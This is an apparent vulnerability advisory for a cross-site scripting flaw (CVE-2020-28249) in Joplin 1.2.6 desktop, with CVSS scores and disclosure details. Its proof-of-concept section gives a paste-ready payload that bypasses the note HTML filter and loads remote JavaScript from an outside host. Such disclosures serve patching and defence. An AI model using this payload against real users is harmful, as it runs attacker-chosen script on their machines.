Joplin 1.2.6 link Cross Site Scripting

2020.11.09
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Joplin 1.2.6 - 'link' Cross Site Scripting # Date: 2020-09-21 # Exploit Author: Philip Holbrook (@fhlipZero) # Vendor Homepage: https://joplinapp.org/ # Software Link: https://github.com/laurent22/joplin/releases/tag/v1.2.6 # Version: 1.2.6 # Tested on: Windows / Mac # CVE : CVE-2020-28249 # References: # https://github.com/fhlip0/JopinXSS/blob/main/readme.md # 1. Technical Details # An XSS issue in Joplin for desktop v1.2.6 allows a link tag in a note to bypass the HTML filter # 2. PoC # Paste the following payload into a note: ``` <link rel=import href="data:text/html&comma;<script>alert(XSS)<&sol;script> <script src="//brutelogic.com.br&sol;1.js&num; </script> ```


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